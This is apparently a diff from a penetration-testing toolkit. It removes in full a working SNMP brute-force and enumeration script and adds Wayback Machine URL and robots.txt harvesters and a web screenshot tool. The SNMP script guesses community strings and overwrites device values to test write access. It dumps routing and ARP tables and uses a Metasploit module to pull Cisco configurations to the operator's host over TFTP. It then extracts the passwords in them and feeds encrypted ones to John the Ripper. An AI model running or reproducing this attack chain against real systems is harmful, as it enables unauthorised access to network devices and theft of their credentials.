-	https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py
-	'''
-	def __init__(self, agent, port=161, version='v2c', timeout=0.5, rate=1000):
-		self.version = SNMPVersion.iversion(version)
-		self.s = socket(AF_INET, SOCK_DGRAM)
-		self.s.settimeout(timeout)
-		self.addr = (agent, port)
-		self.rate = rate
-
-	def guess(self, communities):
-
-		p = SNMP(
-			version=self.version,
-			PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))])
-		)
-		r = []
-		for c in communities:
-			i = randint(0, 2147483647)
-			p.PDU.id = i
-			p.community = c
-			self.s.sendto(str(p), self.addr)
-			sleep(1/self.rate)
-		while True:
-			try:
-				p = SNMP(self.s.recvfrom(65535)[0])
-			except timeout:
-				break
-			r.append(p.community.val)
-		return r
-
-	def __del__(self):
-		self.s.close()
-
-class SNMPResults:
-	addr=''
-	version=''
-	community=''
-	write=False
-
-	def __eq__(self, other):
-		return self.addr == other.addr and self.version == other.version and self.community == other.community
-
-##########################################################################################################
-#	Colour output functions
-##########################################################################################################
-
-# for color output
-BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8)
-
-#following from Python cookbook, #475186
-def has_colours(stream):
-    if not hasattr(stream, "isatty"):
-        return False
-    if not stream.isatty():
-        return False # auto color only on TTYs
-    try:
-        import curses
-        curses.setupterm()
-        return curses.tigetnum("colors") > 2
-    except:
-        # guess false in case of error
-        return False
-has_colours = has_colours(sys.stdout)
-
-def printout(text, colour=WHITE):
-
-	if has_colours and defaults.colour:
-			seq = "\x1b[1;%dm" % (30+colour) + text + "\x1b[0m\n"
-			sys.stdout.write(seq)
-	else:
-			#sys.stdout.write(text)
-			print text
-
-
-##########################################################################################################
-#	
-##########################################################################################################
-
-def banner(art=True):
-	if art:
-		print >> sys.stderr,  "   _____ _   ____  _______     ____             __     "
-		print >> sys.stderr,  "  / ___// | / /  |/  / __ \\   / __ )_______  __/ /____ "
-		print >> sys.stderr,  "  \\__ \\/  |/ / /|_/ / /_/ /  / __  / ___/ / / / __/ _ \\"
-		print >> sys.stderr,  " ___/ / /|  / /  / / ____/  / /_/ / /  / /_/ / /_/  __/"
-		print >> sys.stderr,  "/____/_/ |_/_/  /_/_/      /_____/_/   \\__,_/\\__/\\___/ "
-		print >> sys.stderr,  ""
-		print >> sys.stderr,  "SNMP Bruteforce & Enumeration Script " + __version__
-		print >> sys.stderr,  "http://www.secforce.com / nikos.vassakis <at> secforce.com"
-		print >> sys.stderr, "###############################################################"
-		print >> sys.stderr,  ""
-
-def listener(sock,results):
-	while True:
-		try:
-			response,addr=SNMPrecv(sock)
-		except timeout:
-			continue
-		except KeyboardInterrupt:
-			break
-		except:
-			break
-		r=SNMPResults()
-		r.addr=addr
-		r.version=SNMPVersion.sversion(response.version.val)
-		r.community=response.community.val
-		results.append(r)
-		printout (('%s : %s \tVersion (%s):\t%s' % (str(addr[0]),str(addr[1]), SNMPVersion.sversion(response.version.val),response.community.val)),WHITE)
-
-def SNMPrecv(sock):
-	try:
-		recv,addr=sock.recvfrom(65535)
-		response = SNMP(recv)
-		return response,addr
-	except:
-		raise
-		
-def SNMPsend(sock, packets, ip, port=defaults.port, community='', rate=defaults.rate):
-	addr = (ip, port)
-	for packet in packets:
-		i = randint(0, 2147483647)
-		packet.PDU.id = i
-		packet.community = community
-		sock.sendto(str(packet), addr)
-		sleep(1/rate)
-
-def SNMPRequest(result,OID, value='', TimeOut=defaults.timeOut):
-	s = socket(AF_INET, SOCK_DGRAM)
-	s.settimeout(TimeOut)
-	response=''
-	r=result
-
-	version = SNMPVersion.iversion(r.version)
-	if value:
-		p = SNMP(
-			version=version,
-			PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID), value=value)])
-			)
-	else:
-		p = SNMP(
-			version=version,
-			PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID))])
-			)
-
-	SNMPsend(s,p,r.addr[0],r.addr[1],r.community)
-	for x in range(0, 5):
-		try:
-			response,addr=SNMPrecv(s)
-			break
-		except timeout:	# if request times out retry
-			sleep(0.5)
-			continue
-	s.close
-	if not response:
-		raise timeout
-	return response
-
-def testSNMPWrite(results,options,OID='.1.3.6.1.2.1.1.4.0'):
-	#Alt .1.3.6.1.2.1.1.5.0
-
-	setval='HASH(0xDEADBEF)'
-	for r in results:
-		try:
-			originalval=SNMPRequest(r,OID)
-
-			if originalval:
-				originalval=originalval[SNMPvarbind].value.val
-
-				SNMPRequest(r,OID,setval)
-				curval=SNMPRequest(r,OID)[SNMPvarbind].value.val
-
-				if curval == setval:
-					r.write=True
-					try:
-						SNMPRequest(r,OID,originalval)
-					except timeout:
-						pass
-					if options.verbose: printout (('\t %s (%s) (RW)' % (r.community,r.version)),GREEN)
-					curval=SNMPRequest(r,OID)[SNMPvarbind].value.val
-					if curval != originalval:
-						printout(('Couldn\'t restore value to: %s (OID: %s)' % (str(originalval),str(OID))),RED)
-				else:
-					if options.verbose: printout (('\t %s (%s) (R)' % (r.community,r.version)),BLUE)
-			else:
-				r.write=None
-				printout (('\t %s (%s) (Failed)' % (r.community,r.version)),RED)
-		except timeout:
-			r.write=None
-			printout (('\t %s (%s) (Failed!)' % (r.community,r.version)),RED)
-			continue
-
-def generic_snmpwalk(snmpwalk_args,oids):
-	for key, val in oids.items():
-		try:
-			printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW)
-			entry={}
-			out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines()
-					
-			print '\tINFO'
-			print '\t----\t'
-			for i in out:
-				print '\t',i.strip()
-			print '\n'
-		except KeyboardInterrupt:
-			pass
-
-def enumerateSNMPWalk(result,options):
-	r=result
-
-	snmpwalk_args=' -c "'+r.community+'" -'+r.version+' '+str(r.addr[0])+':'+str(r.addr[1])
-
-	############################################################### 	Enumerate OS
-	if options.windows:	
-		generic_snmpwalk(snmpwalk_args,WINDOWS_OIDS)
-		return
-	if options.linux:	
-		generic_snmpwalk(snmpwalk_args,LINUX_OIDS)
-		return
-	if options.cisco:	
-		generic_snmpwalk(snmpwalk_args,CISCO_OIDS)
-	
-	############################################################### 	Enumerate CISCO Specific
-	############################################################### 	Enumerate Routes
-	entry={}
-	out=os.popen('snmpwalk'+snmpwalk_args+' '+'.1.3.6.1.2.1.4.21.1.1'+' '+'| awk \'{print $NF}\' 2>&1''').readlines()
-	lines = len(out)
-
-	printout('################## Enumerating Routing Table (snmpwalk)',YELLOW)
-	try:
-		for key, val in RouteOIDS.items():	#Enumerate Routes
-			#print '\t *',val[1], val[0]
-			out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+'| awk \'{print $NF}\' 2>&1').readlines()
-			
-			entry[val[1]]=out
-			
-
-		print '\tDestination\t\tNext Hop\tMask\t\t\tMetric\tInterface\tType\tProtocol\tAge'
-		print '\t-----------\t\t--------\t----\t\t\t------\t---------\t----\t--------\t---'
-		for j in range(lines):
-			print( '\t'+entry['Destination'][j].strip().ljust(12,' ') +
-					'\t\t'+entry['Next Hop'][j].strip().ljust(12,' ') +
-					'\t'+entry['Mask'][j].strip().ljust(12,' ')  +
-					'\t\t'+entry['Metric'][j].strip().center(6,' ') +
-					'\t'+entry['Interface'][j].strip().center(10,' ') +
-					'\t'+entry['Route type'][j].strip().center(4,' ') +
-					'\t'+entry['Route protocol'][j].strip().center(8,' ') +
-					'\t'+entry['Route age'][j].strip().center(3,' ')
-			)
-	except KeyboardInterrupt:
-		pass
-
-	############################################################### 	Enumerate Arp
-	print '\n'
-	for key, val in ARPOIDS.items():
-		try:
-			printout(('################## Enumerating ARP Table using: %s (%s)'%(val[0],val[1])),YELLOW)
-			entry={}
-			out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2 | cut -d\':\' -f 2').readlines()
-
-			lines=len(out)/3
-
-			entry['V']=out[0*lines:1*lines]
-			entry['MAC']=out[1*lines:2*lines]
-			entry['IP']=out[2*lines:3*lines]
-
-			
-			print '\tIP\t\tMAC\t\t\tV'
-			print '\t--\t\t---\t\t\t--'
-			for j in range(lines):
-				print(	'\t'+entry['IP'][j].strip().ljust(12,' ') +
-						'\t'+entry['MAC'][j].strip().ljust(18,' ') +
-						'\t'+entry['V'][j].strip().ljust(2,' ')
-				)
-			print '\n'
-		except KeyboardInterrupt:
-			pass
-
-	############################################################### 	Enumerate SYSTEM
-	for key, val in OIDS.items():
-		try:
-			printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW)
-			entry={}
-			out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines()
-					
-			print '\tINFO'
-			print '\t----\t'
-			for i in out:
-				print '\t',i.strip()
-			print '\n'
-		except KeyboardInterrupt:
-			pass
-	############################################################### 	Enumerate Interfaces
-	for key, val in snmpstat_args.items():
-		try:
-			printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW)
-			out=os.popen('snmpnetstat'+snmpwalk_args+' '+val[0]).readlines()
-					
-			for i in out:
-				print '\t',i.strip()
-			print '\n'
-		except KeyboardInterrupt:
-			pass
-
-def get_cisco_config(result,options):
-	printout(('################## Trying to get config with: %s'% result.community),YELLOW)
-
-	identified_ip=os.popen('ifconfig eth0 |grep "inet addr:" |cut -d ":" -f 2 |awk \'{ print $1 }\'').read()
-	
-	if options.interactive:
-		Local_ip = raw_input('Enter Local IP ['+str(identified_ip).strip()+']:') or identified_ip.strip()
-	else:
-		Local_ip = identified_ip.strip()
-
-	if not (os.path.isdir("./output")):
-		os.popen('mkdir output')
-
-	p=Popen('msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E ',shell=True,stdin=PIPE,stdout=PIPE, stderr=PIPE) #>/dev/null 2>&1
-	
-
-	print 'msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E '
-
-	out=[]
-	while p.poll() is None:
-		line=p.stdout.readline()
-		out.append(line)
-		print '\t',line.strip()
-	
-	printout('################## Passwords Found:',YELLOW)
-	encrypted=[]
-	for i in out:
-		if "Password" in i:
-			print '\t',i.strip()
-		if "Encrypted" in i:
-			encrypted.append(i.split()[-1])
-
-	if encrypted:
-		print '\nCrack encrypted password(s)?'
-		for i in encrypted:
-			print '\t',i
-
-		#if (False if raw_input("(Y/n):").lower() == 'n' else True):
-		if not get_input("(Y/n):",'n',options):
-			
-			with open('./hashes', 'a') as f:
-				for i in encrypted:
-					f.write(i+'\n')
-			
-			p=Popen('john ./hashes',shell=True,stdin=PIPE,stdout=PIPE,stderr=PIPE)
-			while p.poll() is None:
-					print '\t',p.stdout.readline()
-			print 'Passwords Cracked:'
-			out=os.popen('john ./hashes --show').readlines()
-			for i in out: 
-				print '\t', i.strip()
-
-	out=[]
-	while p.poll() is None:
-		line=p.stdout.readline()
-		out.append(line)
-		print '\t',line.strip()
-
-def select_community(results,options):
-	default=None
-	try:
-		printout("\nIdentified Community strings",WHITE)
-
-		for l,r in enumerate(results):
-			if r.write==True:
-				printout ('\t%s) %s %s (%s)(RW)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),GREEN)
-				default=l
-			elif r.write==False:
-				printout ('\t%s) %s %s (%s)(RO)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),BLUE)
-			else:
-				printout ('\t%s) %s %s (%s)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),RED)
-		
-			if default is None:
-				default = l
-		
-		if not options.enum:
-			return
-		
-		if options.interactive:
-			selection=raw_input("Select Community to Enumerate ["+str(default)+"]:")
-			if not selection:
-				selection=default
-		else:
-			selection=default
-			
-		try:
-			return results[int(selection)]
-		except:
-			return results[l]
-	except KeyboardInterrupt:
-		exit(0)
-
-def SNMPenumeration(result,options):
-	getcisco=defaults.getcisco
-	try:
-		printout (("\nEnumerating with READ-WRITE Community string: %s (%s)" % (result.community,result.version)),YELLOW)
-		enumerateSNMPWalk(result,options)
-		
-		if options.windows or options.linux:
-			if not get_input("Get Cisco Config (y/N):",'y',options):
-				getcisco=False
-		if getcisco: 
-			get_cisco_config(result,options)
-	except KeyboardInterrupt:
-		print '\n'
-		return
-
-def password_brutefore(options, communities, ips):
-	s = socket(AF_INET, SOCK_DGRAM)
-	s.settimeout(options.timeOut)
-
-	results=[]
-	
-	#Start the listener
-	T = threading.Thread(name='listener', target=listener, args=(s,results,))
-	T.start()
-	
-	# Craft SNMP's for both versions
-	p1 = SNMP(
-		version=SNMPVersion.iversion('v1'),
-		PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))])
-		)
-	p2c = SNMP(
-		version=SNMPVersion.iversion('v2c'),
-		PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))])
-		)
-
-	packets = [p1, p2c]
-
-	#We try each community string
-	for i,community in enumerate(communities):
-		#sys.stdout.write('\r{0}'.format('.' * i))
-		#sys.stdout.flush()
-		for ip in ips:
-			SNMPsend(s, packets, ip, options.port, community.rstrip(), options.rate)
-
-	#We read from STDIN if necessary
-	if options.stdin:
-		while True:
-			try:
-				try:
-					community=raw_input().strip('\n')
-					for ip in ips:
-						SNMPsend(s, packets, ip, options.port, community, options.rate)
-				except EOFError:
-					break				
-			except KeyboardInterrupt:
-				break
-
-	try:
-		print "Waiting for late packets (CTRL+C to stop)"
-		sleep(options.timeOut+options.delay)	#Waiting in case of late response
-	except KeyboardInterrupt:
-		pass
-	T._Thread__stop()
-	s.close
-
-	#We remove any duplicates. This relies on the __equal__
-	newlist = []
-	for i in results:
-		if i not in newlist:
-			newlist.append(i)
-	return newlist
-
-def get_input(string,non_default_option,options):
-	#(True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False)
-	
-	if options.interactive:
-		if raw_input(string).lower() == non_default_option:
-			return True
-		else:
-			return False
-	else:
-		print string
-		return False
-
-def main():
-
-	parser = optparse.OptionParser(formatter=optparse.TitledHelpFormatter())
-
-	parser.set_usage("python snmp-brute.py -t <IP> -f <DICTIONARY>")
-	#parser.add_option('-h','--help', help='Show this help message and exit', action=parser.print_help())
-	parser.add_option('-f','--file', help='Dictionary file', dest='dictionary', action='store')
-	parser.add_option('-t','--target', help='Host IP', dest='ip', action='store')
-	parser.add_option('-p','--port', help='SNMP port', dest='port', action='store', type='int',default=defaults.port)
-	
-
-	groupAlt = optparse.OptionGroup(parser, "Alternative Options")
-	groupAlt.add_option('-s','--stdin', help='Read communities from stdin', dest='stdin', action='store_true',default=False)
-	groupAlt.add_option('-c','--community', help='Single Community String to use', dest='community', action='store')
-	groupAlt.add_option('--sploitego', help='Sploitego\'s bruteforce method', dest='sploitego', action='store_true',default=False)
-
-
-	groupAuto = optparse.OptionGroup(parser, "Automation")
-	groupAuto.add_option('-b','--bruteonly', help='Do not try to enumerate - only bruteforce', dest='enum', action='store_false',default=True)
-	groupAuto.add_option('-a','--auto', help='Non Interactive Mode', dest='interactive', action='store_false',default=True)
-	groupAuto.add_option('--no-colours', help='No colour output', dest='colour', action='store_false',default=True)
-
-	groupAdvanced = optparse.OptionGroup(parser, "Advanced")
-	groupAdvanced.add_option('-r','--rate', help='Send rate', dest='rate', action='store',type='float', default=defaults.rate)
-	groupAdvanced.add_option('--timeout', help='Wait time for UDP response (in seconds)', dest='timeOut', action='store', type='float' ,default=defaults.timeOut)
-	groupAdvanced.add_option('--delay', help='Wait time after all packets are send (in seconds)', dest='delay', action='store', type='float' ,default=defaults.delay)
-
-	groupAdvanced.add_option('--iplist', help='IP list file', dest='lfile', action='store')
-	groupAdvanced.add_option('-v','--verbose', help='Verbose output', dest='verbose', action='store_true',default=False)
-
-	groupOS = optparse.OptionGroup(parser, "Operating Systems")
-	groupOS.add_option('--windows', help='Enumerate Windows OIDs (snmpenum.pl)', dest='windows', action='store_true',default=False)
-	groupOS.add_option('--linux', help='Enumerate Linux OIDs (snmpenum.pl)', dest='linux', action='store_true',default=False)
-	groupOS.add_option('--cisco', help='Append extra Cisco OIDs (snmpenum.pl)', dest='cisco', action='store_true',default=False)
-
-	parser.add_option_group(groupAdvanced)
-	parser.add_option_group(groupAuto)
-	parser.add_option_group(groupOS)
-	parser.add_option_group(groupAlt)
-
-	(options, arguments) = parser.parse_args()
-
-	communities=[]
-	ips=[]
-
-	banner(options.colour)	#For SPARTA!!!
-	
-	if not options.ip and not options.lfile:
-		#Can't continue without target
-		parser.print_help()
-		exit(0)
-	else:
-		# Create the list of targets
-		if options.lfile:
-			try:
-				with open(options.lfile) as t:
-					ips = t.read().splitlines()	#Potential DoS
-			except:
-				print "Could not open targets file: " + options.lfile
-				exit(0)
-		else:
-			ips.append(options.ip)
-
-	if not options.colour:
-			defaults.colour=False
-
-	# Create the list of communities
-	if options.dictionary:	# Read from file
-		with open(options.dictionary) as f:
-			communities=f.read().splitlines()	#Potential DoS
-	elif options.community:	# Single community
-		communities.append(options.community)
-	elif options.stdin:		# Read from input
-		communities=[]
-	else:	#if not options.community and not options.dictionary and not options.stdin:
-		communities=default_communities
-
-	#We ensure that default communities are included
-	#if 'public' not in communities:
-	#	communities.append('public')
-	#if 'private' not in communities:
-	#	communities.append('private')
-
-	if options.stdin:
-		options.interactive=False
-
-	results=[]
-
-	if options.stdin:
-		print >> sys.stderr, "Reading input for community strings ..."
-	else:
-		print >> sys.stderr, "Trying %d community strings ..." % len(communities)
-
-	if options.sploitego: #sploitego method of bruteforce
-		if ips:
-			for ip in ips:
-				for version in ['v1', 'v2c']:
-					bf = SNMPBruteForcer(ip, options.port, version, options.timeOut,options.rate)
-					result=bf.guess(communities)
-					for i in result:
-						r=SNMPResults()
-						r.addr=(ip,options.port)
-						r.version=version
-						r.community=i
-						results.append(r)
-					print ip, version+'\t',result
-		else:
-			parser.print_help()
-
-	else:
-		results = password_brutefore(options, communities, ips)
-
-	#We identify whether the community strings are read or write
-	if results:
-		printout("\nTrying identified strings for READ-WRITE ...",WHITE)
-		testSNMPWrite(results,options)	
-	else:
-		printout("\nNo Community strings found",RED)
-		exit(0)
-	
-	#We attempt to enumerate the router
-	while options.enum:
-		SNMPenumeration(select_community(results,options),options)
-
-		#if (True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False):
-		if get_input("Enumerate with different community? (y/N):",'y',options):
-			continue
-		else:
-			break
-		
-	if not options.enum:
-		select_community(results,options)
-			
-		print "Finished!"
-
-if __name__ == "__main__":
-	main()

bin/waybackrobots.py

@@ -0,0 +1,47 @@
+import requests
+import re
+import sys
+from multiprocessing.dummy import Pool
+
+
+def robots(host):
+    r = requests.get(
+        'https://web.archive.org/cdx/search/cdx\
+        ?url=%s/robots.txt&output=json&fl=timestamp,original&filter=statuscode:200&collapse=digest' % host)
+    results = r.json()
+    if len(results) == 0: # might find nothing
+        return []
+    results.pop(0)  # The first item is ['timestamp', 'original']
+    return results
+
+
+def getpaths(snapshot):
+    url = 'https://web.archive.org/web/{0}/{1}'.format(snapshot[0], snapshot[1])
+    robotstext = requests.get(url).text
+    if 'Disallow:' in robotstext:  # verify it's acually a robots.txt file, not 404 page
+        paths = re.findall('/.*', robotstext)
+        return paths
+    return []
+
+
+if __name__ == '__main__':
+    if len(sys.argv) < 2:
+        print('Usage:\n\tpython3 waybackrobots.py <domain-name>')
+        sys.exit()
+
+    host = sys.argv[1]
+
+    snapshots = robots(host)
+    print('Found %s unique results' % len(snapshots))
+    if len(snapshots) == 0:
+        sys.exit()
+    print('This may take some time...')
+    pool = Pool(4)
+    paths = pool.map(getpaths, snapshots)
+    unique_paths = set()
+    for i in paths:
+        unique_paths.update(i)
+    filename = '%s-robots.txt' % host
+    with open(filename, 'w') as f:
+        f.write('\n'.join(unique_paths))
+    print('[*] Saved results to %s' % filename)

bin/waybackurls.py

@@ -0,0 +1,35 @@
+import requests
+import sys
+import json
+
+
+def waybackurls(host, with_subs):
+    if with_subs:
+        url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host
+    else:
+        url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host
+    r = requests.get(url)
+    results = r.json()
+    return results[1:]
+
+
+if __name__ == '__main__':
+    argc = len(sys.argv)
+    if argc < 2:
+        print('Usage:\n\tpython3 waybackurls.py <url> <include_subdomains:optional>')
+        sys.exit()
+
+    host = sys.argv[1]
+    with_subs = False
+    if argc > 3:
+        with_subs = True
+
+    urls = waybackurls(host, with_subs)
+    json_urls = json.dumps(urls)
+    if urls:
+        filename = '%s-waybackurls.json' % host
+        with open(filename, 'w') as f:
+            f.write(json_urls)
+        print('[*] Saved results to %s' % filename)
+    else:
+        print('[-] Found nothing')

bin/webscreenshot.js

@@ -0,0 +1,168 @@
+/***
+# This file is part of webscreenshot.
+#
+# Copyright (C) 2014, Thomas Debize <tdebize at mail.com>
+# All rights reserved.
+#
+# webscreenshot is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Lesser General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# webscreenshot is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.	See the
+# GNU Lesser General Public License for more details.
+#
+# You should have received a copy of the GNU Lesser General Public License
+# along with webscreenshot.	 If not, see <http://www.gnu.org/licenses/>.
+***/
+
+var Page = (function(custom_headers, http_username, http_password) {
+	var opts = {
+		width: 1200,
+		height: 800,
+		ajaxTimeout: 400,
+		maxTimeout: 800,
+		httpAuthErrorCode: 2
+	};
+	
+	var requestCount = 0;
+	var forceRenderTimeout;
+	var ajaxRenderTimeout;
+
+	var page = require('webpage').create();
+	page.viewportSize = {
+		width: opts.width,
+		height: opts.height
+	};
+	
+	page.settings.userAgent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36';
+	page.settings.userName = http_username;
+	page.settings.password = http_password;
+	
+	page.customHeaders = custom_headers;
+	
+	page.onInitialized = function() {
+		page.customHeaders = {};
+	};
+	// Silence confirmation messages and errors
+	page.onConfirm = page.onPrompt = page.onError = noop;
+
+	page.onResourceRequested = function(request) {
+		requestCount += 1;
+		clearTimeout(ajaxRenderTimeout);
+	};
+
+	page.onResourceReceived = function(response) {
+		if (response.stage && response.stage == 'end' && response.status == '401') {
+			page.failReason = '401';
+		}
+		
+		if (!response.stage || response.stage === 'end') {
+			requestCount -= 1;
+			if (requestCount === 0) {
+				ajaxRenderTimeout = setTimeout(renderAndExit, opts.ajaxTimeout);
+			}
+		}
+	};
+
+	var api = {};
+
+	api.render = function(url, file) {
+		opts.file = file;
+		
+		page.open(url, function(status) {
+			if (status !== "success") {
+				if (page.failReason && page.failReason == '401') {
+					// Specific 401 HTTP code hint
+					phantom.exit(opts.httpAuthErrorCode);
+				} else {
+					// All other failures
+					phantom.exit(1);
+				}
+			} else {
+				forceRenderTimeout = setTimeout(renderAndExit, opts.maxTimeout);
+			}
+		});
+	};
+
+	function renderAndExit() {
+		// Trick to avoid transparent background
+		page.evaluate(function() {
+			document.body.bgColor = 'white';
+		});
+
+		page.render(opts.file);
+		phantom.exit(0);
+	}
+
+	function noop() {}
+
+	return api;
+});
+
+function main() {
+	
+	var system = require('system');
+	var p_url = new RegExp('url_capture=(.*)');
+	var p_outfile = new RegExp('output_file=(.*)');
+	var p_header = new RegExp('header=(.*)');
+	
+	var p_http_username = new RegExp('http_username=(.*)');
+	var http_username = '';
+	
+	var p_http_password = new RegExp('http_password=(.*)');
+	var http_password = '';
+	
+	var temp_custom_headers = {
+		// Nullify Accept-Encoding header to disable compression (https://github.com/ariya/phantomjs/issues/10930)
+		'Accept-Encoding': ' '
+	};
+	
+	for(var i = 0; i < system.args.length; i++) {
+		if (p_url.test(system.args[i]) === true)
+		{
+			var URL = p_url.exec(system.args[i])[1];
+		}
+		
+		if (p_outfile.test(system.args[i]) === true)
+		{
+			var output_file = p_outfile.exec(system.args[i])[1];
+		}
+		
+		if (p_http_username.test(system.args[i]) === true)
+		{
+			http_username = p_http_username.exec(system.args[i])[1];
+		}
+		
+		if (p_http_password.test(system.args[i]) === true)
+		{
+			http_password = p_http_password.exec(system.args[i])[1];
+		}
+		
+		if (p_header.test(system.args[i]) === true)
+		{
+			var header = p_header.exec(system.args[i]);		
+			var p_header_split = header[1].split(': ', 2);
+			var header_name = p_header_split[0];
+			var header_value = p_header_split[1];
+				
+			temp_custom_headers[header_name] = header_value;
+			
+		}
+	}
+	
+	if (typeof(URL) === 'undefined' || URL.length == 0 || typeof(output_file) === 'undefined' || output_file.length == 0) {
+		console.log("Usage: phantomjs [options] webscreenshot.js url_capture=<URL> output_file=<output_file.png> [header=<custom header> http_username=<HTTP basic auth username> http_password=<HTTP basic auth password>]");
+		console.log('Please specify an URL to capture and an output png filename !');
+		
+		phantom.exit(1);
+	}
+	else {
+		var page = Page(temp_custom_headers, http_username, http_password);
+		page.render(URL, output_file);
+	}
+}
+
+main();

bin/webscreenshot.py

@@ -0,0 +1,432 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+# This file is part of webscreenshot.
+#
+# Copyright (C) 2018, Thomas Debize <tdebize at mail.com>
+# All rights reserved.
+#
+# webscreenshot is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Lesser General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# webscreenshot is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Lesser General Public License for more details.
+#
+# You should have received a copy of the GNU Lesser General Public License
+# along with webscreenshot.  If not, see <http://www.gnu.org/licenses/>.
+
+import re
+import os
+import sys
+import subprocess
+import datetime
+import time
+import signal
+import multiprocessing
+import itertools
+import shlex
+import logging
+import errno
+
+# Script version
+VERSION = '2.2.1'
+
+# OptionParser imports
+from optparse import OptionParser
+from optparse import OptionGroup
+
+# Options definition
+parser = OptionParser(usage="usage: %prog [options] URL")
+
+main_grp = OptionGroup(parser, 'Main parameters')
+main_grp.add_option('-i', '--input-file', help = '<INPUT_FILE>: text file containing the target list. Ex: list.txt', nargs = 1)
+main_grp.add_option('-o', '--output-directory', help = '<OUTPUT_DIRECTORY> (optional): screenshots output directory (default \'./screenshots/\')', nargs = 1)
+main_grp.add_option('-r', '--renderer', help = '<RENDERER> (optional): renderer to use among \'phantomjs\' (legacy but best results), \'chrome\', \'chromium\' (version > 57) (default \'phantomjs\')', choices = ['phantomjs', 'chrome', 'chromium'], default = 'phantomjs', nargs = 1)
+main_grp.add_option('-w', '--workers', help = '<WORKERS> (optional): number of parallel execution workers (default 2)', default = 2, nargs = 1)
+main_grp.add_option('-v', '--verbosity', help = '<VERBOSITY> (optional): verbosity level, repeat it to increase the level { -v INFO, -vv DEBUG } (default verbosity ERROR)', action = 'count', default = 0)
+
+proc_grp = OptionGroup(parser, 'Input processing parameters')
+proc_grp.add_option('-p', '--port', help = '<PORT> (optional): use the specified port for each target in the input list. Ex: -p 80', nargs = 1)
+proc_grp.add_option('-s', '--ssl', help = '<SSL> (optional): enforce ssl for every connection', action = 'store_true', default = False)
+proc_grp.add_option('-m', '--multiprotocol', help = '<MULTIPROTOCOL> (optional): perform screenshots over HTTP and HTTPS for each target', action = 'store_true', default = False) 
+
+http_grp = OptionGroup(parser, 'HTTP parameters')
+http_grp.add_option('-c', '--cookie', help = '<COOKIE_STRING> (optional): cookie string to add. Ex: -c "JSESSIONID=1234; YOLO=SWAG"', nargs = 1)
+http_grp.add_option('-a', '--header', help = '<HEADER> (optional): custom or additional header. Repeat this option for every header. Ex: -a "Host: localhost" -a "Foo: bar"', action = 'append')
+
+http_grp.add_option('-u', '--http-username', help = '<HTTP_USERNAME> (optional): specify a username for HTTP Basic Authentication.')
+http_grp.add_option('-b', '--http-password', help = '<HTTP_PASSWORD> (optional): specify a password for HTTP Basic Authentication.')
+
+conn_grp = OptionGroup(parser, 'Connection parameters')
+conn_grp.add_option('-P', '--proxy', help = '<PROXY> (optional): specify a proxy. Ex: -P http://proxy.company.com:8080')
+conn_grp.add_option('-A', '--proxy-auth', help = '<PROXY_AUTH> (optional): provides authentication information for the proxy. Ex: -A user:password')
+conn_grp.add_option('-T', '--proxy-type', help = '<PROXY_TYPE> (optional): specifies the proxy type, "http" (default), "none" (disable completely), or "socks5". Ex: -T socks')
+conn_grp.add_option('-t', '--timeout', help = '<TIMEOUT> (optional): renderer execution timeout in seconds (default 30 sec)', default = 30, nargs = 1)
+
+parser.option_groups.extend([main_grp, proc_grp, http_grp, conn_grp])
+
+# renderer binaries, hoping to find it in a $PATH directory
+## Be free to change them to your own full-path location 
+PHANTOMJS_BIN = 'phantomjs'
+CHROME_BIN = 'google-chrome'
+CHROMIUM_BIN = 'chromium'
+
+WEBSCREENSHOT_JS = os.path.abspath(os.path.join(os.path.dirname(os.path.realpath(__file__)), './webscreenshot.js'))
